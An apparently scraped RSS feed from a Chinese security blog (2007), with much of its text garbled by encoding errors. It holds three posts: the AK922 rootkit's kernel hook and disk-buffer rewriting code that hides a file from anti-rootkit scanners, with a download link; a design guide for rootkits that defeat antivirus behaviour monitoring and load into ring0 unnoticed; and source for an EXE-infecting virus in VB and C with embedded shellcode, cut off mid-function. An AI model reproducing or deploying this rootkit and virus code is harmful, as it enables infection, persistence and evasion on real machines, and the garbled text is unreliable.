AK922: H破盘低񔋂实现文仉?/title><link>http://m.shnenglu.com/elva/archive/2007/10/12/34018.html</link><dc:creator>叶子</dc:creator><author>叶子</author><pubDate>Fri, 12 Oct 2007 03:58:00 GMT</pubDate><guid>http://m.shnenglu.com/elva/archive/2007/10/12/34018.html</guid><wfw:comment>http://m.shnenglu.com/elva/comments/34018.html</wfw:comment><comments>http://m.shnenglu.com/elva/archive/2007/10/12/34018.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://m.shnenglu.com/elva/comments/commentRss/34018.html</wfw:commentRss><trackback:ping>http://m.shnenglu.com/elva/services/trackbacks/34018.html</trackback:ping><description><![CDATA[AK922: H破盘低񔋂实现文仉?br>作者:(x)Azy<br>email: Azy000@gmail.com<br>完成于:(x)2007-08-08<br><br>   目前Q一些已公开的主anti-rootkit隐藏文件主要有两种Ҏ(gu)Q第一U是文gpȝ层的,属于q一cȝ有iceswordQdarkspyQgmer{。第二种便是盘U别的低U检(Disk Low-Level ScanningQ,属于q一cȝark也很多,典型代表为rootkit unhookerQfileregQis的插ӞQrootkit revealerQblacklight{。当Ӟq有一些工P它们在应用层上通过调用ZwQueryDirectoryFile来实施检?br>   驱动也好Q应用也|,说白了就是直接或间接发送IRPC层驱动。第一cȝ发送到FSD中(fastfat.sys/ntfs.sysQ,W二c被发送到盘驱动Qdisk.sysQ,而后IRP便会(x)携带相应的文件信息返回,q时上层应用再根据返回信息进行处理和判断。但是由于DiskU比FSU更底层QIRPq回l我们的是更加接q数据原始组l方式的盘扇区信息Q所以在Disk层上实施文g可以得到更令h信服的结果。但qƈ不等于说q类不能被击|。本文就介l一U绕q该cL的实现Ҏ(gu)Q当Ӟq也是在AK922中用的?br>   对于要实现文仉藏的RKQ与其说?#8220;l过”Q还不如说是“拦截” -- 挂钩某些内核函数调用Q以便在q回上层之前我们有机?x)过滤掉待隐藏文件的信息?br>   AK922采用的方法是Hook内核函数IofCompleteRequest。这个函数很有意思,因ؓ(f)它不仅是一个几乎在M驱动中都要调用的函数Q而且参数中正好含有IRP。有了IRPQ就有了一切。这些特性决定了它很适合做我们的“傀?#8221;。但更重要的是,一般在驱动中调用IofCompleteRequest之时IRP操作都已完毕QIRP中相兛_已经填充了内容,q就便于我们着手直接进行过滤而不用再做诸如发送IRP安装完成例程之类的操作?br>   下面q重说一下工作流E:(x)<br>   首先Q判断MajorFunction是不是IRP_MJ_READ以及(qing)IO堆栈中的DeviceObject是否是磁盘驱动的讑֤对象Q因才是我们要处理的核心IRPQ所有ark直接发送到Disk层的IRP在这里都可以被拦截到?br>   接下来的处理要特别注意,q入到这里时IRQL是在APC_LEVEL以上的,因此我们不能CQ何IRP中的用户模式~冲区,一极有可能蓝Q也是说我们不能直接处理相关磁盘扇Z息,而必通过ExQueueWorkItem排队一个WorkItem的方法来处理。除此之外,׃Disk层在讑֤堆栈中处于靠下的位置Q大部分IRP发到q里时当前进E上下文早已不是原始IRP发v者的q程上下文了Q这里的发v者应理解为arkq程。幸q的是在IRP的Tail.Overlay.Thread域中q保存着原始ETHREAD指针Qؓ(f)了操作用h式缓冲区Q必调用KeAttachProcess切到IRP发v者的上下文环境中Q而这个工作只能在处于PASSIVE_LEVELU上的工作者线E中执行。在DISPATCH_LEVELU上Q做的事少好?br>   刚开始我q分两种情况q行处理Q因为ƈ不是所有的IRP都不处在原始上下文中Q比如icesword发的IRP到这里还是处在icesword.exeq程中的Q这时我认ؓ(f)可以不用排队工作,q样可以节省很多系l资源,提高qo(h)效率。于是我试图在DISPATCH_LEVELU上直接操作用户~冲区,但这Ҏ(gu)行不通。驱动很不稳定,不一?x)就蓝了。故索性老老实实地排队MQ然后再分情况处理。代码如下:(x)<br><br>// 处理Disk Low-Level Scanning<br>if(irpSp->MajorFunction == IRP_MJ_READ && IsDiskDrxDevice(irpSp->DeviceObject) && irpSp->Parameters.Read.Length != 0)<br>{    <br>        <br>    orgnThread = Irp->Tail.Overlay.Thread;<br>    orgnProcess = IoThreadToProcess(orgnThread);<br>        <br>    if(Irp->MdlAddress)<br>    {        <br>        UserBuffer = (PVOID)((ULONG)Irp->MdlAddress->StartVa + Irp->MdlAddress->ByteOffset);<br>            <br>        // UserBuffer必须有效<br>        if(UserBuffer)<br>        {                    <br>            <br>            if(KeGetCurrentIrql() == DISPATCH_LEVEL)<br>            {                    <br>            <br>                RtlZeroMemory(WorkerCtx, sizeof(WORKERCTX));<br>                <br>                WorkerCtx->UserBuffer = UserBuffer;<br>                WorkerCtx->Length = irpSp->Parameters.Read.Length;<br>                WorkerCtx->EProc = orgnProcess;<br>                <br>                ExInitializeWorkItem(&WorkerCtx->WorkItem, WorkerThread, WorkerCtx);<br>                                <br>                ExQueueWorkItem(&WorkerCtx->WorkItem, CriticalWorkQueue);<br>            } <br>        }<br>        <br>    }<br>}<br>  <br><br>   来到工作者线E,CPASSIVE_LEVELU上Q切换上下文之后Q似乎安全多了。但是以防万一Q操作用h式缓冲区之前q是要调用ProbeForXxx函数先判断一下。相关代码如下:(x)<br><br>VOID WorkerThread(PVOID Context)<br>{<br>    KIRQL irql;<br>    PEPROCESS eproc = ((PWORKERCTX)Context)->orgnEProc;<br>    PEPROCESS currProc = ((PWORKERCTX)Context)->currEProc;<br>    //PMDL mdl;<br>        <br><br>    if(((PWORKERCTX)Context)->UserBuffer)<br>    {<br>        if(eproc != currProc)<br>        {<br><br>            KeAttachProcess(eproc);<br><br>            __try{<br>            <br>                // ProbeForWrite must be running <= APC_LEVEL<br>                ProbeForWrite(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length, 1);<br>                HandleAkDiskHide(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length);<br>            }<br><br>            __except(EXCEPTION_EXECUTE_HANDLER){<br><br>                //DbgPrint("we can't op the buffer now :-(");<br>                KeDetachProcess();    <br>                return;<br>            }<br>            <br>            KeDetachProcess();    <br>            <br>        }else{<br><br>            __try{<br>            <br>                // ProbeForWrite must be running <= APC_LEVEL<br>                ProbeForWrite(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length, 1);<br>                HandleAkDiskHide(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length);<br>            }<br><br>            __except(EXCEPTION_EXECUTE_HANDLER){}<br>        }<br>    <br>    }<br>}<br><br>   准备工作l于是做得差不多了Q下面就开始真正涂改磁盘扇区内容了。这里将涉及(qing)到FAT32和NTFS盘文gl构Q我先把要用到的主要l构列出来,其余的大家可以参考《NTFS Documentation》?br><br>typedef struct _INDEX_HEADER{<br>    UCHAR            magic[4];<br>    USHORT            UpdateSequenceOffset;<br>    USHORT            SizeInWords;<br>    LARGE_INTEGER    LogFileSeqNumber;<br>    LARGE_INTEGER    VCN;<br>    ULONG            IndexEntryOffset;    // needed!<br>    ULONG            IndexEntrySize;<br>    ULONG            AllocateSize;<br>}INDEX_HEADER, *PINDEX_HEADER;<br><br><br>typedef struct _INDEX_ENTRY{<br>    LARGE_INTEGER        MFTReference;<br>    USHORT            Size;                // needed!<br>    USHORT            FileNameOffset;<br>    USHORT            Flags;<br>    USHORT            Padding;<br>    LARGE_INTEGER        MFTReferParent;<br>    LARGE_INTEGER        CreationTime;<br>    LARGE_INTEGER        ModifyTime;<br>    LARGE_INTEGER        FileRecModifyTime;<br>    LARGE_INTEGER        AccessTime;<br>    LARGE_INTEGER        AllocateSize;<br>    LARGE_INTEGER        RealSize;<br>    LARGE_INTEGER        FileFlags;<br>    UCHAR            FileNameLength;<br>    UCHAR            NameSpace;<br>    WCHAR            FileName[1];<br>}INDEX_ENTRY, *PINDEX_ENTRY;<br><br>   在读取磁盘文件信息时每次都是以一个扇区大(512 bytesQ的整数倍进行的Q如果不了解相应L(fng)l织形式和数据结构,那么感觉是数据多而繁杂,搜烦效率也很低。但辅以上述l构便可快速定位待隐藏文gq进行涂攏V这里不得不说一句,法的高效是很重要的Q如果采用暴力搜索的方式Q那么系lBSOD的概率会(x)大大增加?br>   在FAT32卷上Q当AK922搜烦到文件AK922.sys的目录项Ӟ其0x0偏移处的文g名的W一个字节置?0xe5"Q即标记为删除。这样即可达到欺骗ark的目的。但Z更加隐蔽Q不让winhex察觉出来Q最好把文g名全部清0?br>   处理NTFSL(fng)微麻烦些Q文件记录和索引w要抹q净Q具体实现见代码Q这里不再赘q?br><br>VOID HandleAkDiskHide(PVOID UserBuf, ULONG BufLen)<br>{<br>    ULONG i;<br>    BOOLEAN bIsNtfsIndex;<br>    BOOLEAN bIsNtfsFile;<br>    ULONG offset = 0;<br>    ULONG indexSize = 0;<br>    PINDEX_ENTRY currIndxEntry = NULL;<br>    PINDEX_ENTRY preIndxEntry = NULL;<br>    ULONG currPosition;<br><br>    <br>    bIsNtfsFile = (_strnicmp(UserBuf, NtfsFileRecordHeader, 4) == 0);<br>    bIsNtfsIndex = (_strnicmp(UserBuf, NtfsIndexRootHeader, 4) == 0);<br><br>    if(bIsNtfsFile == FALSE && bIsNtfsIndex == FALSE)<br>    {            <br>    <br>        for(i = 0; i < BufLen/0x20; i++)<br>        {<br>            if(!_strnicmp(UserBuf, fileHide, 5) && !_strnicmp((PVOID)((ULONG)UserBuf+0x8), fileExt, 3))<br>            {<br><br>                *(PUCHAR)UserBuf        = 0xe5;<br>                *(PULONG)((ULONG)UserBuf + 0x1)    = 0;<br><br>                break;<br>                    <br>            }<br><br>            UserBuf = (PVOID)((ULONG)UserBuf + 0x20);<br>        <br>        }<br><br>    } else if(bIsNtfsFile) {<br><br>        //DbgPrint("FILE0...");<br><br>        for(i = 0; i < BufLen / FILERECORDSIZE; i++)<br>        {<br>            if(!_wcsnicmp((PWCHAR)((ULONG)UserBuf + 0xf2), hideFile, 9))<br>            {<br>                memset((PVOID)UserBuf, 0, 0x4);<br>                memset((PVOID)((ULONG)UserBuf + 0xf2), 0, 18);<br>                break;<br>            }<br>                <br>            UserBuf = (PVOID)((ULONG)UserBuf + FILERECORDSIZE);<br>                <br>        }<br>            <br>    } else if(bIsNtfsIndex) {<br>                            <br>        //DbgPrint("INDX...");<br>        // Index Entries<br>        <br>        offset = ((PINDEX_HEADER)UserBuf)->IndexEntryOffset + 0x18;<br>        indexSize = BufLen - offset;<br>        currPosition = 0;<br><br>        currIndxEntry = (PINDEX_ENTRY)((ULONG)UserBuf + offset);<br>        //DbgPrint(" -- offset: 0x%x indexSize: 0x%x", offset, indexSize);<br>                <br>        while(currPosition < indexSize && currIndxEntry->Size > 0 && currIndxEntry->FileNameOffset > 0)<br>        {<br>            if(!_wcsnicmp(currIndxEntry->FileName, hideFile, 9))<br>            {<br>                memset((PVOID)currIndxEntry->FileName, 0, 18);<br><br>                if(currPosition == 0)<br>                {<br>                    ((PINDEX_HEADER)UserBuf)->IndexEntryOffset += currIndxEntry->Size;<br>                    break;<br>                }<br><br>                preIndxEntry->Size += currIndxEntry->Size;<br>                <br>                break;<br>            }<br><br>            currPosition += currIndxEntry->Size;<br>            preIndxEntry = currIndxEntry;<br>            currIndxEntry = (PINDEX_ENTRY)((ULONG)currIndxEntry + currIndxEntry->Size);<br>                    <br>        }<br>    }<br>}<br><br>   水^有限Q欢q大家与我交?br><br><br>参考资料:(x)<br><br>[1] - 《NTFS Documentation?br>[2] - AzyQ《IceSword & Rootkit Unhooker驱动析?br><br>---------<br><br>关于AK922(AzyKit)Q我写的一个只实现文g隐藏的RKQ可以bypass本文提到的所有ark?br>Download @ <a target=_blank><u><font color=#0000ff>http://www.wiiupload.net/sf/65b4e75ec4</font></u></a> <img src ="http://m.shnenglu.com/elva/aggbug/34018.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://m.shnenglu.com/elva/" target="_blank">叶子</a> 2007-10-12 11:58 <a href="http://m.shnenglu.com/elva/archive/2007/10/12/34018.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>实用U反d防Mrootkit设计思\http://m.shnenglu.com/elva/archive/2007/10/12/34017.html叶子叶子Fri, 12 Oct 2007 03:57:00 GMThttp://m.shnenglu.com/elva/archive/2007/10/12/34017.htmlhttp://m.shnenglu.com/elva/comments/34017.htmlhttp://m.shnenglu.com/elva/archive/2007/10/12/34017.html#Feedback0http://m.shnenglu.com/elva/comments/commentRss/34017.htmlhttp://m.shnenglu.com/elva/services/trackbacks/34017.html
作者:(x)白远?(ID: baiyuanfan, baiyuanfan@163.com, baiyuanfan@hotmail.com)
June 18, 2007

关键字:(x)rootkitQ反d防MQ网l监控,ring0Qmcafee8.5iQKIS6QZoneAlarm ProQ实用产品试
目录Q?br>反主动防御rootkit的生背景及(qing)其必要?br>反网l访问主动防?br>反API钩子q程行ؓ(f)d防M
反系lNotifyq程行ؓ(f)d防M
l过监控q入ring0安装驱动
实用U反d防Mrootkit的通用性问?br>

反主动防御rootkit的生背景及(qing)其必要?br>        当前随着新型木马Q病毒,间谍软g对网l安全的威胁日益加重Q传l的特征查杀型的安全产品和简单的包qo(h)型防火墙已不能有效保护用P因此各大安全公司UL(fng)推出自己的主动防御型安全产品Q例如卡巴斯基kis6Qmcafee8.5iQZoneAlarm Pro{,q些产品应对未知的病毒木马都有很好的效果Q若非针Ҏ(gu)的作过设计的木马和rootkitQ根本无法穿其高别防御。因此,反主动防御技术,作ؓ(f)矛和盄另一方,自然被渗透者们提上日程Q由于主动防御安全品的q速普?qing),Z不后门木马被弹框报警,h反主动防御能力的rootkit成ؓ(f)了一U必焉择?br>

反网l访问主动防?br>        几乎现在每个防火墙都h应用E序讉K|络限制功能。一个未知的E序反弹q接到外|,或者是在本地监听端口,基本上都?x)引h警。而且对系l进E的行ؓ(f)也有了比较严格的审查Q原先的注射代码到winlogon{系l进E,在向外反弹连接的Ҏ(gu)Q很多主动防御Y仉?x)阻止了?br>        很多防火墙的应用E序讉K|络限制Q都可以通过摘除tcpip.sys上面的过滤驱动,q还原tcpip.sys的Dispatch Routines来绕q。据U这是因为在ndis层次取得q程id不方便而导致的。但是如果在一个实用的rootkit里应用此Ҏ(gu)则是不智之DQ因为存在部分防火墙Q如ZoneAlarmQ其ndisqo(h)层必dtdiqo(h)层协同工作,才会(x)放行|络q接。至于ndis层次的中间层驱动的摘除,和NDIS_OPEN_BLOCK的还原,则是一不太可能完成的dQ因为无法从原始文g中读取的Ҏ(gu)Q获得NDIS_OPEN_BLOCK的原始|即能够成功恢复ndis钩子Q也不能保证pȝ可以正常q行Q很可能?x)出现各U不明症状?br>        到现在ؓ(f)止,l过应用E序讉K|络限制最好的选择Q还是那两个Q简单的一个,注射代码C个ieq程Q用它反弹连接出来,讉K外网Q复杂的选择则是应用内核驱动Q如ndis hook/d新的ndis protocolQ来实现端口复用Q或者用tdi client driver反弹q接。已l有很多木马和rootkit使用前者,因其单易行,在实际开发中工程量小Q出现问题的可能性也得多,产品成熟的时间代价也。但是目前很多的d防M已经注意到这一点,q且在程序行为监控中严密防范了其他程序对ie的感染行为?br>
    如图Q想要用僵IE讉K|络的木马被拦截


反API钩子q程行ؓ(f)d防M
        接下来是d防Mpȝ的很重要的一部分Q进E行为监控。该部分d防M软g一般通过两种解决Ҏ(gu)来执行,一是API钩子Q二是windows支持的notify routine?br>        大量的主动防御安全YӞ如KIS6QZoneAlarm ProQ用API钩子来监控进E的危险行ؓ(f)。如注射q程U程Q启动傀儡IEQ加载驱动,注册服务Q修Ҏ(gu)感系l注册表键值等。但是作Z个rootkitQ完全绕q这些操作,基本上是不可能的Q于是摆攑֜面前的Q务,是如何击|q种d防M?br>        对于特定U类的监控,L有特定的Ҏ(gu)可以l过。比如注远E线E,如果常用的CreateRemoteThread被监控了Q可以尝试采用Debug APIQ?SetThreadContext的方法绕q,也可以尝试采用hook其ntdll!ZwYieldExecution{频J调用的函数来装载自qDLL模块?注册表监控,我的朋友xyzreg曄写过pd文章Q提Z很多U方法,包括RegSaveKey, Hive~辑{方法绕q卡巴斯基的注册表监控,其Hive~辑的方法目前仍未能有Q何主动防御系l拦截?br>        但是从一个通用型,为实战设计的实用型rootkit来说Q采用这些特定的技术ƈ不是一个非常好的选择Q因些技术可以保证对付一个主动防御YӞ却不能保证通用Q甚至通用性很差。而且针对每一个可能被d防M拦截的行为,都采用一套特定的l过技术,从工E代价上来讲Q太q巨大,开发耗时Q等其成熟更是不知道要多时间来试和更攏V因此我们需要的一个相Ҏ(gu)盖范围广Q能够解决绝大多C动防御技术的解决Ҏ(gu)?br>        针对API钩子实现的进E行为监控,一个较好的通用解决Ҏ(gu)是卸蝲所有安全Y件所安装的API钩子。ؓ(f)兼容性和E_赯Q几乎所有的安全软g在安装API钩子旉?x)选择hook SSDT表,例如KIS6QZoneAlarm Pro。我们如果能够进入ring0Q就可以使用一个驱动程序,dpȝ文gntoskrnl.exe/ntkrnlpa.exe/ntkrpamp.exeQ从中提出我们所希望的SSDT表的原始函数地址Q替换被安全软ghook的地址Q用此方法可以通用性很好的解决l大多数的API钩子实现的进E行为监控。不q此Ҏ(gu)有一个前提,是事先必须l过监控q入ring0。关于如何实现此前提Q请阅读W五部分Q?#8220;l过监控q入ring0安装驱动”?br>    
    如图QZoneAlarm Pro更改了大量的SSDT函数地址来监控程序行为?br>


反系lNotifyq程行ؓ(f)d防M
        部分d防M安全软g不仅仅是用API钩子Q同时用了微Y提供的Notify RoutineQ来监视q程的行为。用该技术的安全软g不是太多Q但是也不至于少C个实用别rootkit可以忽略的程度?br>        以下几个微YDDK函数QPsSetCreateProcessNotifyRoutineQPsSetCreateThreadNotifyRoutineQPsSetLoadImageNotifyRoutineQ被用作支持d防M软g监控新进E的建立Q新U程的徏立,和一个新的模块被加蝲。处理该U类型的防M不能单的清空NotifyRoutine完事,因ؓ(f)pȝ本nQ还有一些第三方正常模块和驱动,可能d和用该链表?br>        解决Ҏ(gu)Q一是可以先用了该技术的d防Mpȝ的驱动程序模块做一个列表出来,然后遍历q三条链表,扑և地址指向q些驱动模块的项Q再这些项删除脱链。但是这需要对大量d防Mpȝ的研I和试Qƈ且通用型也不好。第二种Ҏ(gu)Q由于Notify Routine的监控力度要q弱于API钩子Q因此在Uring3程序做一些小的改动,可以越q这U类型的监控?br>        另外q有几个SDK函数Q可以提供对文g和注册表的更改的notify。不能排除也有部分主动防御Y件用了它们。例如国产的巡警(AST.exe)Q用了RegNotifyChangeKeyValueQ做了对注册表敏感键g改的事后警告提示。如果仅仅用了API钩子清除技术,那么在此时就?x)被AST报警。和以上介绍的三个内核notifycM的也是,有不正常的notify在被使用Q不分青U皂白的全部卸蝲Q会(x)Dpȝ异常?br>        因此可见QNotifycȝ控虽然用的不多Q但是其对付的难度和需要的工程量,比API监控q要大?br>
    如图Q已l处理了API钩子监控的rootkit仍然被notify方式的AST报警?br>

l过监控q入ring0安装驱动
        q部分是重中之重。由于几乎每个主动防御系l都?x)监控未知驱动的加蝲和试图进入ring0的D动, 而我们在W一Q第二和W三部分l过d防M要做的处理,都必需要ring0权限。因此监控进入ring0Q是一个独立的话题Q也是我们实现前三个部分需要的条g?br>        直接d注册表项QZwLoadDriver安装驱动Q是几乎要被Md防Mpȝ报警。必要采用一些隐蔽的或者是Zh不知的方法。ȝ目前已经公布出来的进入ring0的办法,
有以下几U:(x)
        感染文gQ例如win32k.sysQ添加自q代码到里面,启动的时候就?x)被执行。这U方法的优点是简单易行,E_度和兼容性很好。但是最大的~点是必须重新启动以后Q才能进入ring0Q这是一个品别的后门所不能容忍的。而且微Y自己的系l文件保护容易绕q,mcafee和卡巴斯基的文g监控可就不是那么Ҏ(gu)了?br>        利用物理内存对象Q来写入自己的代码到内核Qƈd调用门来执行。这个是最早被人提出的不用驱动q入ring0的办法。因为出来的旉太长了,所以有以下一些问题:(x)更新的操作系l内怸支持Q如2003SP1Q很多的d防Mpȝ?x)拦截,例如KIS6。所以这个办法也不理惟?br>        利用ZwSystemDebugControl。这个代码在国外有h攑և来过Q利用它写内存,挂钩NtVdmControlQ进入ring0。此法缺陷在于老的windows2000不被支持Q最新的windows2003sp1上也取消了这个函数的此能力。不q好处在于,q个Ҏ(gu)用的人少Q基本上没有d防M?x)注意到它,q进行拦截?br>        利用ZwSetSystemInformation的SystemLoadAndCallImage功能号加载一个模块进入ring0。这个方法提出来比较久了Q但是因为用的h,仍未被主动防御Y件所重视。用得少的原因是Q它不好用。它只能加蝲一个普通的模块到内核ƈ且调用,却不是加载一个驱动,因此没有一个DriverObject。这D了非常多的麻烦。因想用这个办法,必须先用q个办法安装一个简单的内核模块Q再用这个模块添加调用门{方式,执行代码清除d防M的监视驱动安装的钩子Q安装一个正常的驱动Q才能最l完成Q务。而且q个Ҏ(gu)g对windows2003sp1以上的系l也无效?br>        因此Q要x一个相对完的q入ring0解决Ҏ(gu)Q最好是L别h不知道或者用很的Ҏ(gu)Q或者将上面的有~陷的方法做一个综合,用多U方法通过判断情况来选择使用。我在这里有一个新的思\提供l大Ӟ微Y新公布了一部分文Q关于HotPatch的用。HotPatch可以在执行中修改pȝ中存在的用户态公用dll的内容,甚至是修改内核模块的内容。具体代码和l节Q在q里我不能多说?br>        要想开发一个好的反d防MrootkitQ绕q监控进入ring0是必不可的Q然而这部分也是使用不成熟技术最多的Q最Ҏ(gu)出现严重问题的部分。作Z个负责Q的实用产品Q一定要对这个部分作做详l的试Q来保证自己的品不?x)在某些?gu)的环境,比如64位CPUq行32位系l,多核处理器,HyperThread处理器上面,出现故障或者蓝屏?br>


实用U反d防Mrootkit的通用性问?br>        前文已述Q本文的宗旨在于讨论一U实用别rootkit开发的可行性。因此,工程量的大小Q需要投入的人力Q时间和金钱Q也是我们需要考虑的内宏V必要考虑更好的兼Ҏ(gu)通用性,和工E上的开发代价和E_成熟周期不能无限大。因此,对于部分新技术,例如BiosRootkitQVirtualMachine-RootkitQ本文不做讨论,因ؓ(f)那些都属于如果要惛_E_通用Q工E代价非常大Q以至于他们只拥有技术上面的讨论价|而不具备作ؓ(f)一个品开发的可选解x案的可能性。至是目前来看是如此?br>        每个d防M软g的原理和构造都是不相同的,因此不可能指望有某一U方法,从工E上可以解决一个主动防御系l,可以无需试的,保证无误的解军_他系l。因个原因,开发一个成熟稳定的反主动防御rootkitQ必然要在兼容各U主动防御的pȝ的通用性上面下大功夫。按照不同的d防MpȝQ在E序里switch caseQ应该是非常必要的,管l大多数反主动防御代码原理上可以通用。基本上Q在试E序通用型的时候,常用的主动防御YӞ是每U都要安装一个ƈ且仔l测试的?br>        以下举例说明Q几个常用主动防御系l各自需要注意的特点Q这都是W者在实际开发中遇到的比较典型的例子?br>
Mcafee8.5Q该d防M软g在最大化功能时会(x)止在系l目录下创徏可执行文Ӟ光这一点就?x)让几乎全部rootkit安装p|Q若非针对它做了设计。在q个pȝ下面Q也不可能用感染文件的Ҏ(gu)来进入ring0?br>KIS6Q该pȝ?x)自动列举运行的隐藏q程Qƈ且弹框警告。因此在q系l下Q不太可能把自己的进E隐藏。而且它列N藏进E的手段很底层,很难l过?br>ZoneAlarm ProQ该pȝ下,如果一个其它的q程启动IEq且讉K|络Q安全报警仍然会(x)以该q程本n讉K|络为准执行Q另外还?x)弹框警告,除非自q僵尸IEq程的父q程更改Q或者不用IE来反弹连接?br>国的瑞星,M来说q个pȝ的主动防御弱于国外品,但是它特D在于,?x)对IE作出非常严格的限Ӟ默认不允许IE装蝲M非系l的dll。因此在q个pȝ下基本不可能利用IE反弹?br>
        其他的特D情况还有很多。作Z个成熟品开发者,q些都是必须要考虑的?br>



感谢QVXKQ郭宏硕Q, xyzregQ张|?br>附录Q提供几个录像,Ҏ(gu)文的内容做一个展C录像,RootkitI越各种行的主动防御系l?

叶子 2007-10-12 11:57 发表评论
]]>
感染EXEhttp://m.shnenglu.com/elva/archive/2007/10/08/33760.html叶子叶子Mon, 08 Oct 2007 06:21:00 GMThttp://m.shnenglu.com/elva/archive/2007/10/08/33760.htmlhttp://m.shnenglu.com/elva/comments/33760.htmlhttp://m.shnenglu.com/elva/archive/2007/10/08/33760.html#Feedback0http://m.shnenglu.com/elva/comments/commentRss/33760.htmlhttp://m.shnenglu.com/elva/services/trackbacks/33760.html
VBQ?br>

Option Explicit
Private Victim As String '要感染的文g的名?br>Private HostLen As Long '要感染的文g的大?br>Private vbArray() As Byte '病毒的代?br>Private hArray() As Byte '要感染的文g的代?br>Private lenght As Long
Private MySize As Integer '病毒的大?/p>

Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private iResult As Long
Private hProg As Long
Private idProg As Long
Private iExit As Long
Const STILL_ACTIVE As Long = &H103
Const PROCESS_ALL_ACCESS As Long = &H1F0FFF

Private Sub form_Initialize()
Dim i As Long
On Error GoTo vbVerror '出错处理

'原理Q将生成病毒文g的代码读出,_在要被感染的文件的后面?br>Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read _
As #1
ReDim MyArray(LOF(1) - 1)
MySize = LOF(1)
ReDim vbArray(MySize)
Get #1, 1, vbArray
Close #1
'q是在读自己的代?/p>


Victim = Dir(App.Path & "\" & "*.EXE") '随便选一个文Ӟ目前只是在病毒所在的目录下随机选一个,来你可以修改,让它不断的@环搜索计机上的所有文件。)
While Victim <> ""

If format(Victim, ">") <> format(App.EXEName & ".EXE", ">") Then
Open App.Path & "\" & Victim For Binary Access Read As #1
ReDim hArray(LOF(1))
Get #1, 1, hArray
Close #1
'd病毒自n的代?/p>


If hArray(&H69) <> &H4D Then

i = hArray(&H3C)
If hArray(i) = &H50 Then
Open App.Path & "\" & Victim For Binary Access Write As #1
Put #1, , vbArray
Put #1, MySize, hArray
Close #1
End If '要保证被感染的不是空文gQ不是圈套)
End If
End If
'd准备被感染的文g的代?/p>

Victim = Dir() 'Next

Wend

'下面的工作是Z保证病毒不会(x)重复感染一个文Ӟ也不?x)自我感染?/p>

Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #1
lenght = LOF(1) - MySize
If lenght <> 0 Then
ReDim vbArray(lenght - 1)
Get #1, MySize, vbArray
Close #1

Open App.Path & "\" & App.EXEName & ".eve" For Binary Access Write As #1
Put #1, , vbArray
Close #1


idProg = Shell(App.Path & "\" & App.EXEName & ".eve", vbNormalFocus)
hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)
GetExitCodeProcess hProg, iExit
Do While iExit = STILL_ACTIVE
DoEvents
GetExitCodeProcess hProg, iExit
Loop
Kill App.Path & "\" & App.EXEName & ".eve"

Else
Close #1

End If

End

vbVerror: '出错处理Q空着可以了

End Sub



VCQ?br>
/**************************************************************
* 函数QInjectCode
* 参数Qchar szHostFile[]--待感染的exe文g路径

* 功能Q感染一个exeE序Q运行显C?#8220;金猪拜年”的MessageBox
* 从代码节开始搜?替换W一个发现的call api的指?br>* 把目标代码插入代码节的尾?br>* 代码仅供演示之用,没有做过多的错误处理
* 感染当前hello.exe,插入一D弹出对话框代码Q当然你可以修改成启动文件的代码Q嘿嘿)
* coded by robinh00d
* robinh00d_at_163.com
* ~译:cl epo.c
**************************************************************/
int InjectCode(char szHostFile[])
{//#include <windows.h>
    PIMAGE_DOS_HEADER pImageDosHeader ;
    PIMAGE_NT_HEADERS pImageNtHeaders ;
    PIMAGE_SECTION_HEADER pImageSectionHeader;
    unsigned char thunkcode[] = "\x60\x9c\xe8\x00\x00\x00\x00\x5b"
                            "\x81\xeb\x0d\x10\x40\x00\x6a\x00"
                            "\x8d\x83\x30\x10\x40\x00\x50\x50"
                            "\x6a\x00\xb8\x78\x56\x34\x12\xff"
                            "\xd0\x9d\x61\xff\x25\x3a\x10\x40"
                            "\x00\x90\xBD\xF0\xD6\xED\xB0\xDD"
                            "\xC4\xEA\x00";
    HANDLE hFile ;
    HANDLE hMap ;
    LPVOID pMapping ;
    DWORD dwGapSize ;
    unsigned char *pGapEntry ;
    int i ;
    PROC MsgBox ;
    DWORD OldEntry ;
    int x = 0x18 ;
    int vir_len ;
    unsigned char *pSearch ;
    DWORD *dwCallNextAddr ;
    DWORD *dwCallDataOffset ;
    DWORD *dwCallDataAddr ;
    DWORD dwCallData ;
    DWORD dwCodeDistance ;
    DWORD *dwJmpAddr ;
    DWORD dwJmpData ;
    DWORD dwJmpVA ;

    //:::
    hFile = CreateFile(szHostFile,
                        FILE_SHARE_READ|FILE_SHARE_WRITE,
                        FILE_SHARE_READ|FILE_SHARE_WRITE,
                        NULL,
                        OPEN_EXISTING,
                        FILE_ATTRIBUTE_NORMAL,
                        NULL) ;
                       
    if (hFile==INVALID_HANDLE_VALUE)
    {
        return -1 ;
    }
   
    hMap = CreateFileMapping(hFile,
                            NULL,
                            PAGE_READWRITE,
                            0,
                            0,
                            NULL) ;
    if (!hMap)
        return -1 ;
   
    pMapping = MapViewOfFile(hMap,
                        FILE_MAP_ALL_ACCESS,
                        0,
                        0,
                        0) ;
    if (!pMapping)
        return -1 ;
   
    pImageDosHeader = (PIMAGE_DOS_HEADER)pMapping ;
    if (pImageDosHeader->e_magic==IMAGE_DOS_SIGNATURE)
    {
        pImageNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)pMapping+pImageDosHeader->e_lfanew) ;
        if (pImageNtHeaders->Signature==IMAGE_NT_SIGNATURE)
        {
            pImageSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pMapping+
                                                            pImageDosHeader->e_lfanew+
                                                            sizeof(IMAGE_NT_HEADERS)) ;
            dwGapSize = pImageSectionHeader->SizeOfRawData - pImageSectionHeader-

>Misc.VirtualSize ;
           
            if (sizeof(thunkcode)>dwGapSize)
                goto Close ;
               
